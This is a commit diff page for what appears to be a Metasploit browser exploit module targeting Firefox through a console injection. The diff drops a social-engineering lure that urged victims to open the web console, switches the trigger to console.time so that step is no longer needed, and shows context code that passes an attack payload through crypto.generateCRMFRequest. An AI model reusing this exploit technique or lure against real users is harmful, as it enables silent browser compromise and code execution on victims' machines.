Skip to content

Commit 694d917

Browse files
committed
No need for web console YESSSS
1 parent 738a295 commit 694d917

File tree

1 file changed

+2
-7
lines changed

1 file changed

+2
-7
lines changed

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -56,12 +56,7 @@ def initialize(info = {})
5656
))
5757

5858
register_options([
59-
OptString.new('CONTENT', [
60-
true,
61-
"Content to display inside the HTML <body>.",
62-
"An error has occurred. Press <script>document.write((navigator.platform.match(/mac/i))"+
63-
" ? 'cmd-option-k' : 'ctrl-alt-k')</script> to see the error."
64-
])
59+
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
6560
], self.class)
6661
end
6762

@@ -87,7 +82,7 @@ def generate_html(target_info)
8782
crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, opts.payload, 1024, null, "rsa-ex");
8883
return 5;
8984
};
90-
console.dir(y);
85+
console.time(y);
9186
</script>
9287
#{datastore['CONTENT']}
9388
</body>

0 commit comments

Comments
 (0)